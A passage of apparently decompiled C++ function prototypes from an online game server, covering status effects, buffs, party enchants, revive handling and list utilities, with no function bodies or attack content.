AbnormalStateDictionary::AbState::AbStateStr *sklidx, int strength); void __thiscall AbnormalStateContainer::AbstateElementInObject::ASE_Tick::_ASE_Tick(AbnormalStateContainer::AbstateElementInObject::ASE_Tick *this); void __thiscall AbnormalStateContainer::AbstateElementInObject::AbstateElementInObject(AbnormalStateContainer::AbstateElementInObject *this, ABSTATEINDEX key); void __thiscall AbnormalStateContainer::AbstateElementInObject::_AbstateElementInObject(AbnormalStateContainer::AbstateElementInObject *this); int __thiscall ShineObjectClass::ShineMobileObject::so_BashStop(void *this); #593 *__thiscall AbnormalStateContainer::AbstateElementInObject::aeo_GetCaster(AbnormalStateContainer::AbstateElementInObject *this); void __thiscall AxialListNearScanRandomEnemy::_AxialListNearScanRandomEnemy(AxialListNearScanEnemyorAll *this); char __thiscall AbnormalStateContainer::SubAbnormalStateActor::sasa_SetAbstateToArea(AbnormalStateContainer::SubAbnormalStateActor *this, AbnormalStateContainer::AbstateElementInObject *aso, #593 *pCaster, AxialListNearScan *pTargets, SubAbstateAction saa); AbnormalStateContainer::SkillBlast __thiscall AbnormalStateContainer::SubAbnormalStateActorSilencetoone::sasa_Act_SkillBlast(AbnormalStateContainer::SubAbnormalStateActorSilencetoone *this, AbnormalStateContainer::AbstateElementInObject *aso); void __thiscall AbnormalStateContainer::AbnormalStateElement::ase_AttachObject(AbnormalStateContainer::AbnormalStateElement *this, AbnormalStateContainer::AbstateElementInObject *aso, #593 *pTargetObj); void __thiscall AbnormalStateContainer::AbnormalStateElement::ase_DetachObject(AbnormalStateContainer::AbnormalStateElement *this, AbnormalStateContainer::AbstateElementInObject *aso, #593 *pTargetObj); signed int __cdecl ShineObjectClass::ShineObject::so_smo_SPExhByAbState(); int __thiscall ShineObjectClass::ShineMobileObject::so_smo_SPExhByAbState(int this); void __thiscall AxialListNearScanFriend::AxialListNearScanFriend(AxialListNearScanFriend *this, #593 *center); void __thiscall AxialListNearScanFriend::_AxialListNearScanFriend(AxialListNearScanFriend *this); char __thiscall AxialListNearScanFriend::alns_ValidObject(AxialListNearScanFriend *this, #593 *obj); void __thiscall AxialListNearScanCenterFriendCasterEnemy::AxialListNearScanCenterFriendCasterEnemy(AxialListNearScanCenterFriendCasterEnemy *this, #593 *, #593 *); void __thiscall AxialListNearScanCenterFriendCasterEnemy::_AxialListNearScanCenterFriendCasterEnemy(AxialListNearScanCenterFriendCasterEnemy *this); char __thiscall AxialListNearScanCenterFriendCasterEnemy::alns_ValidObject(AxialListNearScanCenterFriendCasterEnemy *this, #593 *obj); char *__thiscall AbnormalStateContainer::SubAbnormalStateActor::sasa_Act_UseSPDown(ItemAttributeClass *this, SHINE_ITEM_STRUCT *itm, char *buffer); unsigned int __thiscall AbnormalStateContainer::SubAbnormalStateActorUseSPDown::sasa_Act_UseSPDown(AbnormalStateContainer::SubAbnormalStateActorUseSPDown *this, AbnormalStateContainer::AbstateElementInObject *aso, unsigned int nLostSP); void __thiscall List::_List(List *this); char __thiscall List::l_PopZ(List *this, CardDeck::Card *ele); char __thiscall List::l_PushZ(List *this, AbnormalStateContainer::AbstateElementInObject *ele); // int __stdcall Concurrency::_Order_node_base::reserve_message(int); weak char __thiscall List::l_PopA(List *this, AbnormalStateContainer::AbstateElementInObject *ele); char __thiscall List::l_PopZ(List *this, AbnormalStateContainer::AbstateElementInObject *ele); void __thiscall ListTraveler::lt_Home(ListTraveler *this); char __thiscall ListTraveler::lt_Next(ListTraveler *this); #593 *__thiscall AbnormalStateContainer::AbstateElementInObject::aeo_FindCasterObject(AbnormalStateContainer::AbstateElementInObject *this, SHINE_XY_TYPE *center); void __thiscall FunctionEntarance::FunctionEntarance(FunctionEntarance *this, unsigned __int16 funcode, char *funcname, unsigned int flag); void __thiscall FunctionEntarance::_FunctionEntarance(FunctionEntarance *this); int __thiscall ShineObjectClass::ShineObject::so_DistanceSquar(int this, int a2); void __thiscall AbnormalStateContainer::AbnormalStateList::_AbnormalStateList(AbnormalStateContainer::AbnormalStateList *this); char __thiscall AbnormalStateContainer::AbnormalStatePartyEnchant::aspe_FindSubState(AbnormalStateContainer::AbnormalStatePartyEnchant *this, int sub, char *substate); char __thiscall AbnormalStateContainer::AbnormalStateGuildAcademyMasterEnchant::asgame_FindSubState(AbnormalStateContainer::AbnormalStateGuildAcademyMasterEnchant *this, char *substate); void __thiscall AbnormalStateContainer::AbnormalStateElement::ase_AfterEnchant(AbnormalStateContainer::AbnormalStateElement *this, #593 *me); void __thiscall ShineObjectClass::ShineMobileObject::so_mobile_HPHealOverTime(#593 *, int, ABSTATEINDEX); void __thiscall ShineObjectClass::ShineMobileObject::so_mobile_SPHealOverTime(#593 *, int); void __thiscall ShineObjectClass::ShineObject::so_AbnormalState_BroadcastSet(void *this, int abstate, int keeptime, int strength); void __thiscall ShineObjectClass::ShineObject::so_AbnormalState_BroadcastReset(void *this, int abstate); void __thiscall ShineObjectClass::ShinePlayer::so_AbnormalState_Inform(void *this, int abstate, int keeptime, char effect); void __thiscall AbnormalStateContainer::ActorCluster::ActorCluster(AbnormalStateContainer::ActorCluster *this); void __thiscall AbnormalStateContainer::ActorCluster::_ActorCluster(AbnormalStateContainer::ActorCluster *this); void __thiscall AbnormalStateContainer::AbstateElementInObject::AbstateElementInObject(AbnormalStateContainer::AbstateElementInObject *this); int __thiscall AbnormalStateContainer::AbstateElementInObject::aeo_CompName(AbnormalStateContainer::AbstateElementInObject *this, List *lst, unsigned __int16 hnd, AbnormalStateContainer::AbstateElementInObject *key); void __thiscall AbnormalStateContainer::AbstateListInObject::_AbstateListInObject(AbnormalStateContainer::AbstateListInObject *this); char __thiscall AbnormalStateContainer::AbstateElementInObject::aeo_FindSubState(AbnormalStateContainer::AbstateElementInObject *this, int sub, char *substate); AbnormalStateContainer::AbnormalStateElement *__thiscall AbnormalStateContainer::AbstateElementInObject::aeo_GetAbstateElement(AbnormalStateContainer::AbstateElementInObject *this); char __thiscall ListIter_ObjectAbStateRoutine::lid_Call(ListIter_ObjectAbStateRoutine *this, AbnormalStateContainer::AbstateElementInObject *ele, unsigned __int16 handle); char __thiscall AbnormalStateContainer::AbstateListInObject::asl_Routine(AbnormalStateContainer::AbstateListInObject *this, #615 *me); char __thiscall AbnormalStateContainer::AbnormalStateElement::ase_Routine(AbnormalStateContainer::AbnormalStateElement *this, #615 *, unsigned __int16, AbnormalStateContainer::AbstateElementInObject *, char *); char __thiscall AbnormalStateContainer::AbnormalStateTickRoutine::ase_Routine(AbnormalStateContainer::AbnormalStateTickRoutine *this, #615 *, unsigned __int16, AbnormalStateContainer::AbstateElementInObject *, char *); char __thiscall AbnormalStateContainer::AbnormalStateEachTickRoutine::ase_Routine(AbnormalStateContainer::AbnormalStateEachTickRoutine *this, #615 *, unsigned __int16, AbnormalStateContainer::AbstateElementInObject *, char *); char __thiscall AbnormalStateContainer::AbnormalStatePolymorph::ase_Routine(AbnormalStateContainer::AbnormalStatePolymorph *this, #615 *, unsigned __int16, AbnormalStateContainer::AbstateElementInObject *, char *); char __thiscall AbnormalStateContainer::SubAbnormalStateActor::sasa_Routine(AbnormalStateContainer::SubAbnormalStateActor *this, AbnormalStateContainer::AbstateElementInObject *aso, #615 *body, ABSTATEINDEX abs); char __thiscall AbnormalStateContainer::SubAbnormalStateFear::sasa_Routine(AbnormalStateContainer::SubAbnormalStateFear *this, AbnormalStateContainer::AbstateElementInObject *aso, #615 *body, ABSTATEINDEX abs); char __thiscall AbnormalStateContainer::SubAbnormalStateActorHPHeal::sasa_Routine(AbnormalStateContainer::SubAbnormalStateActorHPHeal *this, AbnormalStateContainer::AbstateElementInObject *aso, #615 *body, ABSTATEINDEX abs); char __thiscall AbnormalStateContainer::SubAbnormalStateActorSPHeal::sasa_Routine(AbnormalStateContainer::SubAbnormalStateActorSPHeal *this, AbnormalStateContainer::AbstateElementInObject *aso, #615 *body, ABSTATEINDEX abs); char __thiscall AbnormalStateContainer::SubAbnormalStateActorHPSPHeal::sasa_Routine(AbnormalStateContainer::SubAbnormalStateActorHPSPHeal *this, AbnormalStateContainer::AbstateElementInObject *aso, #615 *body, ABSTATEINDEX abs); int __thiscall AbnormalStateContainer::SubAbnormalStateActorCastDelay::sasa_Act_CastDelay(AbnormalStateContainer::SubAbnormalStateActorCastDelay *this, AbnormalStateContainer::AbstateElementInObject *aso); void __thiscall AbnormalStateContainer::SubAbnormalStateActorShield::sasa_Act_DamegeAbsorpt(AbnormalStateContainer::SubAbnormalStateActorShield *this, #593 *, AbnormalStateContainer::AbstateElementInObject *, int *); void __thiscall AbnormalStateContainer::SubAbnormalStateActorManaShield::sasa_Act_DamegeAbsorpt(AbnormalStateContainer::SubAbnormalStateActorManaShield *this, #593 *, AbnormalStateContainer::AbstateElementInObject *, int *); void __thiscall AbnormalStateContainer::SubAbnormalStateActorRangeIntercept::sasa_Act_DamegeIntercept(AbnormalStateContainer::SubAbnormalStateActorRangeIntercept *this, AbnormalStateContainer::AbstateElementInObject *aso, int *damage); void __thiscall AbnormalStateContainer::SubAbnormalStateActorLastDmgRatio::sasa_Act_LastDamegeInterceptByAtk(AbnormalStateContainer::SubAbnormalStateActorLastDmgRatio *this, AbnormalStateContainer::AbstateElementInObject *aso, int *damage); void __thiscall AbnormalStateContainer::SubAbnormalStateActorLastDmgRatio_DefSide::sasa_Act_LastDamegeInterceptByDef(AbnormalStateContainer::SubAbnormalStateActorLastDmgRatio_DefSide *this, #593 *, AbnormalStateContainer::AbstateElementInObject *, int *); void __thiscall AbnormalStateContainer::SubAbnormalStateActorPartyRecharge::sasa_Act_Killed(AbnormalStateContainer::SubAbnormalStateActorPartyRecharge *this, #734 *, AbnormalStateContainer::AbstateElementInObject *); void __thiscall AbnormalStateContainer::SubAbnormalStateActorSelfRevive::sasa_Act_Killed(AbnormalStateContainer::SubAbnormalStateActorSelfRevive *this, #734 *, AbnormalStateContainer::AbstateElementInObject *); void __thiscall AbnormalStateContainer::AbstateElementInObject::aeo_ParameterEnchant(AbnormalStateContainer::AbstateElementInObject *this); void __thiscall AbnormalStateContainer::AbnormalStateReinforcedMove::ase_AttachObject(AbnormalStateContainer::AbnormalStateReinforcedMove *this, AbnormalStateContainer::AbstateElementInObject *aso, #593 *pTargetObj); void __thiscall AbnormalStateContainer::AbnormalStateElementRecover::ase_DetachObject(AbnormalStateContainer::AbnormalStateElementRecover *this, AbnormalStateContainer::AbstateElementInObject *aso, #593 *pTargetObj); void __thiscall AbnormalStateContainer::AbnormalStateReinforcedMove::ase_DetachObject(AbnormalStateContainer::AbnormalStateReinforcedMove *this, AbnormalStateContainer::AbstateElementInObject *aso, #593 *pTargetObj); void __thiscall AbnormalStateContainer::AbnormalStatePartyEnchant::ase_SetMain(AbnormalStateContainer::AbnormalStatePartyEnchant *this, AbnormalStateDictionary::AbState::AbStateStr *sklidx); void __thiscall AbnormalStateContainer::AbnormalStateGuildAcademyMasterEnchant::ase_SetMain(AbnormalStateContainer::AbnormalStateGuildAcademyMasterEnchant *this, AbnormalStateDictionary::AbState::AbStateStr *sklidx); char __thiscall AbnormalStateContainer::AbstateElementInObject::aeo_IsMine(AbnormalStateContainer::AbstateElementInObject *this, #615 *, ABSTATEINDEX); unsigned int __thiscall AbnormalStateContainer::AbstateElementInObject::aeo_GetRestTime(AbnormalStateContainer::AbstateElementInObject *this); int __thiscall ShineObjectClass::ShineMobileObject::smo_DotDamageAppend(void *this, int aso); char __stdcall ShineObjectClass::ShinePlayer::sp_AbstateCheck(int sklidx, int a2); char __stdcall ShineObjectClass::ShineObject::so_smo_CanEnchant(int abstateidx, int strength); char __thiscall AbnormalStateContainer::SubAbnormalStateActorMagicField::sasa_Routine(AbnormalStateContainer::SubAbnormalStateActorMagicField *this, AbnormalStateContainer::AbstateElementInObject *aso, #615 *body, ABSTATEINDEX abs); void __thiscall AbnormalStateContainer::SubAbnormalStateActorHideDamage::sasa_Act_AttackCount(AbnormalStateContainer::SubAbnormalStateActorHideDamage *this, AbnormalStateContainer::AbstateElementInObject *pInObject); char __thiscall List::l_PushZ(List *this, CardDeck::Card *ele); // int __stdcall Concurrency::_Order_node_base::reserve_message(int); weak void __thiscall List::l_Clear(List *this); char __thiscall List::l_PushA(List *this, AbnormalStateContainer::AbstateElementInObject *ele); // int __stdcall Concurrency::_Order_node_base::reserve_message(int); weak AbnormalStateContainer::AbstateElementInObject *__thiscall List::l_Search(List *this, int (__thiscall *compfunc)(AbnormalStateContainer::AbstateElementInObject *this, List *, unsigned __int16, AbnormalStateContainer::AbstateElementInObject *), unsigned __int16 *hnd, AbnormalStateContainer::AbstateElementInObject *key); void __thiscall ListTraveler::ListTraveler(ListTraveler *this, List *lst, AbnormalStateContainer::AbstateElementInObject *def); #615 *__cdecl ShineDynamicCast(#593 *pObj); #734 *__cdecl ShineDynamicCast(#593 *pObj); void __thiscall List::l_MakeList(List *this, unsigned __int16 size); void __thiscall AbnormalStateContainer::AbstateElementInObject::aeo_InformAfterLogin(AbnormalStateContainer::AbstateElementInObject *this, #734 *me); char __thiscall AbnormalStateContainer::AbstateElementInObject::aeo_IsPartyChant(AbnormalStateContainer::AbstateElementInObject *this); AbnormalStateContainer::AbstateElementInObject *__thiscall AbnormalStateContainer::AbstateListInObject::asl_Abstate_IsSet(AbnormalStateContainer::AbstateListInObject *this, ABSTATEINDEX stateindex); char __thiscall AbnormalStateContainer::AbnormalStateHide::ase_Routine(AbnormalStateContainer::AbnormalStateHide *this, #615 *, unsigned __int16, AbnormalStateContainer::AbstateElementInObject *, char *); void __thiscall ShineObjectClass::ShineMobileObject::so_mobile_DamageOverTime(#593 *, int, ABSTATEINDEX, bool, int *); void __thiscall ShineObjectClass::ShineMobileObject::smo_CureCurse(void *this, int state, signed int grade); char __thiscall AbnormalStateContainer::AbstateElementInObject::aeo_Set(AbnormalStateContainer::AbstateElementInObject *this, #593 *, unsigned __int16, int, unsigned int, AbnormalStateDictionary::AbState::AbStateStr *, #593 *, int, int, int, AbnormalStateContainer::EnchantFrom); char __thiscall AbnormalStateContainer::AbstateListInObject::asl_AbstateReset(AbnormalStateContainer::AbstateListInObject *this, #593 *, ABSTATEINDEX); char __thiscall AbnormalStateContainer::AbstateListInObject::asl_IsHereGood(AbnormalStateContainer::AbstateListInObject *this); char __thiscall AbnormalStateContainer::AbstateListInObject::asl_IsHereBad(AbnormalStateContainer::AbstateListInObject *this); void __thiscall AbnormalStateContainer::AbstateListInObject::asl_SendAfterLogin(AbnormalStateContainer::AbstateListInObject *this, #734 *me); void __thiscall AbnormalStateContainer::AbstateListInObject::asl_Store(AbnormalStateContainer::AbstateListInObject *this, #615 *, PROTO_NC_CHAR_ABSTATE_CMD *); int __thiscall AbnormalStateContainer::SubAbnormalStateActorPoison::sasa_GetDamage(AbnormalStateContainer::SubAbnormalStateActorPoison *this, AbnormalStateContainer::AbstateElementInObject *aso, #615 *body, SHINE_XY_TYPE *ApplyLoc); char __thiscall AbnormalStateContainer::SubAbnormalStateActor::sasa_SetAbstateToArea_TargetNum(AbnormalStateContainer::SubAbnormalStateActor *this, AbnormalStateContainer::AbstateElementInObject *aso, #593 *pCaster, AxialListNearScan *pTargets, SubAbstateAction saa, int nTargetNum, bool bUnconditionalSet); char __thiscall AbnormalStateContainer::SubAbnormalStateActorDisease::sasa_Routine(AbnormalStateContainer::SubAbnormalStateActorDisease *this, AbnormalStateContainer::AbstateElementInObject *aso, #615 *body, ABSTATEINDEX abs); void __thiscall AbnormalStateContainer::SubAbnormalStateActerTimeAttack::sasa_Act_LastDamegeInterceptByDef(AbnormalStateContainer::SubAbnormalStateActerTimeAttack *this, #593 *, AbnormalStateContainer::AbstateElementInObject *, int *); void __thiscall AbnormalStateContainer::SubAbnormalStateActor::sasa_AttachObject(AbnormalStateContainer::SubAbnormalStateActor *this, AbnormalStateContainer::AbstateElementInObject *pInObject, #593 *pTarget); void __thiscall AbnormalStateContainer::SubAbnormalStateActor::sasa_DetachObject(AbnormalStateContainer::SubAbnormalStateActor *this, AbnormalStateContainer::AbstateElementInObject *pInObject, #593 *pTarget); void __thiscall ShineObjectClass::ShineMobileObject::so_smo_AbStateKeepTimeAdd(void *this, int substate, int millisec); char __thiscall AbnormalStateContainer::AbstateListInObject::asl_CanEnchant(AbnormalStateContainer::AbstateListInObject *this, ABSTATEINDEX abstateidx, int strength); char __thiscall AbnormalStateContainer::AbstateListInObject::asl_IsDuringEnchant(AbnormalStateContainer::AbstateListInObject *this, ABSTATEINDEX abstateidx); void __thiscall AbnormalStateContainer::SubAbnormalStateActorDetachProcess::sasa_DetachObject(AbnormalStateContainer::SubAbnormalStateActorDetachProcess *this, AbnormalStateContainer::AbstateElementInObject *pInObject, #593 *pTarget); void __thiscall AbnormalStateContainer::SubAbnormalStateActorBomb::sasa_DetachObject(AbnormalStateContainer::SubAbnormalStateActorBomb *this, AbnormalStateContainer::AbstateElementInObject *pInObject, #593 *pTarget); char __thiscall AbnormalStateContainer::SubAbnormalStateActorBomb::sasa_ApplyAbstate(AbnormalStateContainer::SubAbnormalStateActorBomb *this, AbnormalStateContainer::AbstateElementInObject *pInObject, #593 *pTarget); void __thiscall List::l_Clear(List *this); void __thiscall AbnormalStateContainer::AbstateListInObject::AbstateListInObject(AbnormalStateContainer::AbstateListInObject *this); char __thiscall AbnormalStateContainer::AbstateListInObject::asl_AbstateSet(AbnormalStateContainer::AbstateListInObject *this, #593 *, unsigned __int16, int, AbnormalStateDictionary::AbState::AbStateStr *, #593 *, unsigned int, int, int, int, AbnormalStateContainer::EnchantFrom); void __thiscall AbnormalStateContainer::SubAbnormalStateCaptivate::sasa_AttachObject(AbnormalStateContainer::SubAbnormalStateCaptivate *this, AbnormalStateContainer::AbstateElementInObject *pInObject, #593 *pTarger); void __thiscall AbnormalStateContainer::SubAbnormalStateCaptivate::sasa_DetachObject(AbnormalStateContainer::SubAbnormalStateCaptivate *this, AbnormalStateContainer::AbstateElementInObject *pInObject, #593 *pTarger); char __thiscall AbnormalStateContainer::SubAbnormalStateActorPoison::sasa_Routine(AbnormalStateContainer::SubAbnormalStateActorPoison *this, AbnormalStateContainer::AbstateElementInObject *aso, #615 *body, ABSTATEINDEX abs); char __thiscall AbnormalStateContainer::SubAbnormalStateActorAreaDamage::sasa_Routine(AbnormalStateContainer::SubAbnormalStateActorAreaDamage *this, AbnormalStateContainer::AbstateElementInObject *aso, #615 *body, ABSTATEINDEX abs); char __thiscall ShineObjectClass::ShineMobileObject::so_smo_CanEnchant(void *this, ABSTATEINDEX abstateidx, int strength); void __thiscall List::l_MakeList(List *this, unsigned __int16 size); void __thiscall AxialListNearScanParty::alnsp_Buffing(AxialListNearScanParty *this, int num, #593 *caster, ABSTATEINDEX soul, int strength, AbnormalStateDictionary::AbState::AbStateStr *sklidx, int empowkeeptime); void __thiscall AxialListNearScanCoupleParty::alnsp_Buffing(AxialListNearScanCoupleParty *this, int num, #593 *caster, ABSTATEINDEX soul, int strength, AbnormalStateDictionary::AbState::AbStateStr *sklidx, int empowkeeptime); void __thiscall AxialListNearScanGuildAcademy::alnsga_Buffing(AxialListNearScanGuildAcademy *this, int num, #593 *caster, ABSTATEINDEX soul, int strength, AbnormalStateDictionary::AbState::AbStateStr *sklidx, int empowkeeptime); char __thiscall AbnormalStateContainer::AbnormalStateCouplePartyEnchant::ase_Routine(AbnormalStateContainer::AbnormalStateCouplePartyEnchant *this, #615 *, unsigned __int16, AbnormalStateContainer::AbstateElementInObject *, char *); char __thiscall AbnormalStateContainer::AbnormalStatePartyEnchant::ase_Routine(AbnormalStateContainer::AbnormalStatePartyEnchant *this, #615 *, unsigned __int16, AbnormalStateContainer::AbstateElementInObject *, char *); char __thiscall AbnormalStateContainer::AbnormalStateGuildAcademyMasterEnchant::ase_Routine(AbnormalStateContainer::AbnormalStateGuildAcademyMasterEnchant *this, #615 *, unsigned __int16, AbnormalStateContainer::AbstateElementInObject *, char *); void __thiscall AbnormalStateContainer::AbnormalStateList::AbnormalStateList(AbnormalStateContainer::AbnormalStateList *this); int __thiscall AbnormalStateDictionary::AbState::AbStateStr::AbStateStrArgument::assa_FindEffect(AbnormalStateDictionary::AbState::AbStateStr::AbStateStrArgument *this, SubAbstateAction action); bool __thiscall AbnormalStateDictionary::AbState::AbStateStr::AbStateStrArgument::assa_IsHaveEffect(AbnormalStateDictionary::AbState::AbStateStr::AbStateStrArgument *this, SubAbstateAction action); char __thiscall ShineObjectClass::ShineMobileObject::so_AbnormalState_Set(#593 *, ABSTATEINDEX, int, AbnormalStateDictionary::AbState::AbStateStr *, unsigned int, int, int, int, AbnormalStateContainer::EnchantFrom); char __thiscall ShineObjectClass::ShinePlayer::so_AbnormalState_Set(#593 *, ABSTATEINDEX, int, AbnormalStateDictionary::AbState::AbStateStr *, unsigned int, int, int, int, AbnormalStateContainer::EnchantFrom); char __thiscall ShineObjectClass::ShineObject::so_AbnormalState_Set_Simple(#593 *this, #593 *, ABSTATEINDEX, int, bool); char __thiscall ShineObjectClass::ShineObject::so_AbnormalState_Set_Simple(#593 *this, #593 *, ABSTATEINDEX, int, bool, int, int, AbnormalStateContainer::EnchantFrom); char __thiscall ShineObjectClass::ShineObject::so_AbnormalState_Set(#593 *this, #593 *, ABSTATEINDEX, int, AbnormalStateDictionary::AbState::AbStateStr *, unsigned int, int, int, int, AbnormalStateContainer::EnchantFrom); char __thiscall ShineObjectClass::ShinePlayer::so_AbnormalState_Set_CharAllMode(#593 *, ABSTATEINDEX, int, AbnormalStateDictionary::AbState::AbStateStr *, unsigned int, int, int, int, AbnormalStateContainer::EnchantFrom); bool __thiscall ShineObjectClass::ShineMob::so_AbnormalState_Resist(int this, int sklidx); bool __thiscall ShineObjectClass::ShinePlayer::so_AbnormalState_Resist(void *this, int sklidx); char __thiscall ShineObjectClass::ShineObject::so_AbnormalState_Set_SS_SETABSTATEME(void *this, int abstate, int keeptime); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); void __thiscall AbnormalStateDictionary::SubAbState::SubAbState(AbnormalStateDictionary::SubAbState *this); void __thiscall AbnormalStateDictionary::SubAbState::sas_Load(AbnormalStateDictionary::SubAbState *this); SubAbStateInfo *__thiscall AbnormalStateDictionary::SubAbState::sas_Find(AbnormalStateDictionary::SubAbState *this, char *index, int str); void __thiscall AbnormalStateDictionary::AbState::AbState(AbnormalStateDictionary::AbState *this); void __thiscall AbnormalStateDictionary::AbState::_AbState(AbnormalStateDictionary::AbState *this); void __thiscall AbnormalStateDictionary::AbState::as_Load(AbnormalStateDictionary::AbState *this); char __thiscall ShineObjectClass::ShineMobileObject::so_FillBriefABState(void *this, int data, int num); void __thiscall UseEffect::UseItemJustReviveAtDead::UseItemJustReviveAtDead(UseEffect::UseItemJustReviveAtDead *this); void __thiscall UseEffect::UseItemJustReviveAtDead::_UseItemJustReviveAtDead(UseEffect::UseItemJustReviveAtDead *this); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_CHAR_REBIRTH_CMD(int this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ITEM_REVIVEITEMUSE_CMD(void *this, int netcmd, int len, __int16 handle); void __thiscall AbnormalStateContainer::AbstateElementInObject::aeo_Recover(AbnormalStateContainer::AbstateElementInObject *this, #593 *so); void __thiscall ShineObjectClass::ShinePlayer::so_ReviveByItem(void *this); void __thiscall ChargedItemEffectList::ChargedItemEffectElement::ciee_AfterLoginComplete(ChargedItemEffectList::ChargedItemEffectElement *this, unsigned __int16 handle, #734 *player); void __thiscall ShineObjectClass::ShinePlayer::sp_ChargedEffectAfterLoginComplete(void *this); AbnormalStateContainer::AbstateElementInObject *__cdecl std::copy(AbnormalStateContainer::AbstateElementInObject *_First, AbnormalStateContainer::AbstateElementInObject *_Last, AbnormalStateContainer::AbstateElementInObject *_Dest); char __thiscall ChargedItemEffectList::ChargedEffectAfterLoginComplete::lid_Call(ChargedItemEffectList::ChargedEffectAfterLoginComplete *this, ChargedItemEffectList::ChargedItemEffectElement *ele, unsigned __int16 handle); char __thiscall ShineObjectClass::ShinePlayer::sp_CanChargedEnchant(void *this, int index); void __thiscall ShineObjectClass::ShinePlayer::sp_RemoveEE_SETABSTATE(void *this, int abstateid); void __thiscall ShineObjectClass::ShinePlayer::sp_RemoveAllChargeBuff(void *this); std::basic_string,std::allocator > *__thiscall std::basic_string_std::allocator>::erase(std::basic_string,std::allocator > *this, unsigned int _Off, unsigned int _Count); void __thiscall std::basic_string_std::allocator>::_Tidy(std::basic_string,std::allocator > *this, bool _Built, unsigned int _Newsize); void __thiscall std::basic_string_std::allocator>::_Copy(std::basic_string,std::allocator > *this, unsigned int _Newsize, unsigned int _Oldlen); // void __usercall _L166581(int a1); AbnormalStateContainer::AbstateElementInObject *__cdecl std::_Uninit_copy>::const_iterator_AbnormalStateContainer::AbstateElementInObject___std::allocator>(AbnormalStateContainer::AbstateElementInObject *_First, AbnormalStateContainer::AbstateElementInObject *_Last, AbnormalStateContainer::AbstateElementInObject *_Dest, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); void __thiscall AbnormalStateShelter::AbstateBuffer::ab_Recover(AbnormalStateShelter::AbstateBuffer *this, #593 *so); void __thiscall std::length_error::_length_error(std::length_error *this); void __thiscall AbnormalStateShelter::AbstateShelter::as_Remove(AbnormalStateShelter::AbstateShelter *this, unsigned int chrregnum); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_SKILL_REPLYREVIVE_CMD(void *this, int netcmd, int len, __int16 handle); std::basic_string,std::allocator > *__thiscall std::basic_string_std::allocator>::assign(std::basic_string,std::allocator > *this, std::basic_string,std::allocator > *_Right, unsigned int _Roff, unsigned int _Count); std::basic_string,std::allocator > *__thiscall std::basic_string_std::allocator>::assign(std::basic_string,std::allocator > *this, const char *_Ptr, unsigned int _Num); AbnormalStateContainer::AbstateElementInObject *__thiscall std::vector>::_Ucopy(std::allocator *_Al, AbnormalStateContainer::AbstateElementInObject *_First, AbnormalStateContainer::AbstateElementInObject *_Last, AbnormalStateContainer::AbstateElementInObject *__formal); void __thiscall std::basic_string_std::allocator>::basic_string_std::allocator>(std::basic_string,std::allocator > *this, std::basic_string,std::allocator > *_Right); std::basic_string,std::allocator > *__thiscall std::basic_string_std::allocator>::assign(std::basic_string,std::allocator > *this, const char *_Ptr); void __thiscall std::vector>::_Destroy(std::vector > *this, AbnormalStateContainer::AbstateElementInObject *_First, AbnormalStateContainer::AbstateElementInObject *_Last); void __thiscall std::vector>::_Tidy(std::vector > *this); void __thiscall std::basic_string_std::allocator>::basic_string_std::allocator>(std::basic_string,std::allocator > *this, const char *_Ptr); void __thiscall std::logic_error::logic_error(std::logic_error *this, std::basic_string,std::allocator > *_Message); std::vector >::iterator *__thiscall std::vector>::erase(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where); void __thiscall std::logic_error::logic_error(std::logic_error *this, std::logic_error *__that); void __thiscall std::vector>::_Xlen(std::vector > *this); void __thiscall std::length_error::length_error(std::length_error *this, std::length_error *__that); void __thiscall AbnormalStateShelter::AbstateBuffer::_AbstateBuffer(AbnormalStateShelter::AbstateBuffer *this); bool __thiscall std::vector>::_Buy(std::vector > *this, unsigned int _Capacity); void __thiscall std::vector>::vector>(std::vector > *this, std::vector > *_Right); // void __usercall _L169148(int a1); void *__thiscall std::vector>::operator_(void *this, int __formal); AbnormalStateShelter::AbstateBuffer *__cdecl std::_Copy_backward_opt(AbnormalStateShelter::AbstateBuffer *_First, AbnormalStateShelter::AbstateBuffer *_Last, AbnormalStateShelter::AbstateBuffer *_Dest, std::_Nonscalar_ptr_iterator_tag __formal); void __cdecl std::fill(AbnormalStateShelter::AbstateBuffer *_First, AbnormalStateShelter::AbstateBuffer *_Last, AbnormalStateShelter::AbstateBuffer *_Val); AbnormalStateShelter::AbstateBuffer *__cdecl std::_Uninit_copy>(AbnormalStateShelter::AbstateBuffer *_First, AbnormalStateShelter::AbstateBuffer *_Last, AbnormalStateShelter::AbstateBuffer *_Dest, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); void __cdecl std::_Uninit_fill_n>(AbnormalStateShelter::AbstateBuffer *_First, unsigned int _Count, AbnormalStateShelter::AbstateBuffer *_Val, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); AbnormalStateShelter::AbstateBuffer *__thiscall std::vector>::_Ufill(std::vector > *this, AbnormalStateShelter::AbstateBuffer *_Ptr, unsigned int _Count, AbnormalStateShelter::AbstateBuffer *_Val); void __thiscall std::vector>::_Destroy(std::vector > *this, AbnormalStateShelter::AbstateBuffer *_First, AbnormalStateShelter::AbstateBuffer *_Last); void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, AbnormalStateShelter::AbstateBuffer *_Val); std::vector >::iterator *__thiscall std::vector>::insert(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where, AbnormalStateShelter::AbstateBuffer *_Val); void __thiscall std::vector>::_Tidy(std::vector > *this); void __thiscall std::vector>::push_back(std::vector > *this, AbnormalStateShelter::AbstateBuffer *_Val); void __thiscall AbnormalStateShelter::AbstateShelter::_AbstateShelter(AbnormalStateShelter::AbstateShelter *this); AbnormalStateShelter::AbstateBuffer *__thiscall AbnormalStateShelter::AbstateShelter::operator__(AbnormalStateShelter::AbstateShelter *this, unsigned int regnum); void __thiscall UseEffect::UseItemJustReviveAtDead::uib_Effect(UseEffect::UseItemJustReviveAtDead *this, #593 *, ItemTotalInformation *, UseEffect::UIE_Functions *); int __thiscall ShineObjectClass::ShinePlayer::sp_NC_CHAR_REBIRTH_REJECT_CMD(int this, int netcmd, int len, __int16 handle); void 